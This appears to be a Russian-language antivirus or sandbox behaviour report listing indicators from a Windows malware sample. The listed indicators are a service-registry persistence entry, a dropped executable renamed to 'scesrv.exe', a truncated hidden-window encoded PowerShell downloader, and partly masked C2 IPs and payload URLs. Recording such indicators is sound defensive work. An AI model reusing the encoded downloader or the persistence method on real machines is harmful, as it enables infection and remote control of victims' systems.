Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\scesrv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\scesrv] 'ImagePath' = '"%WINDIR%\SysWOW64\bitsprx4\scesrv.exe"'
- 'scesrv' "%WINDIR%\SysWOW64\bitsprx4\scesrv.exe"
- 'scesrv' %WINDIR%\SysWOW64\bitsprx4\scesrv.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHADAAMwAzAHAAMgAxAD0AJwBXADEAdgBoAHUANABtACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAYABVAFIAaQBUAFkAUABSAE8AdABPAGAAYwBgAG8ATAAiACAAPQAgAC...
- %TEMP%\wmqe.exe
- %TEMP%\wmqe.exe
- %TEMP%\wmqe.exe в %WINDIR%\syswow64\bitsprx4\scesrv.exe
- %TEMP%\wmqe.exe
- '17#.#4.215.84':80
- '85.##.207.108':8080
- http://en####oftware.com/blogs/mtvqyqwl85094171/
- http://am####systems.com/wp/ZxXBfZxSe/
- http://du#####mechanical.com/images/zlFAsqZh/
- http://pi###actinc.com/pixel/YOOe/
- http://85.##.207.108:8080/q2TjlGrQ/ via 85.##.207.108
- DNS ASK en####oftware.com
- DNS ASK am####systems.com
- DNS ASK du#####mechanical.com
- DNS ASK pi###actinc.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHADAAMwAzAHAAMgAxAD0AJwBXADEAdgBoAHUANABtACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAYABVAFIAaQBUAFkAUABSAE8AdABPAGAAYwBgAG8ATAAiACAAPQAgAC...' (со скрытым окном)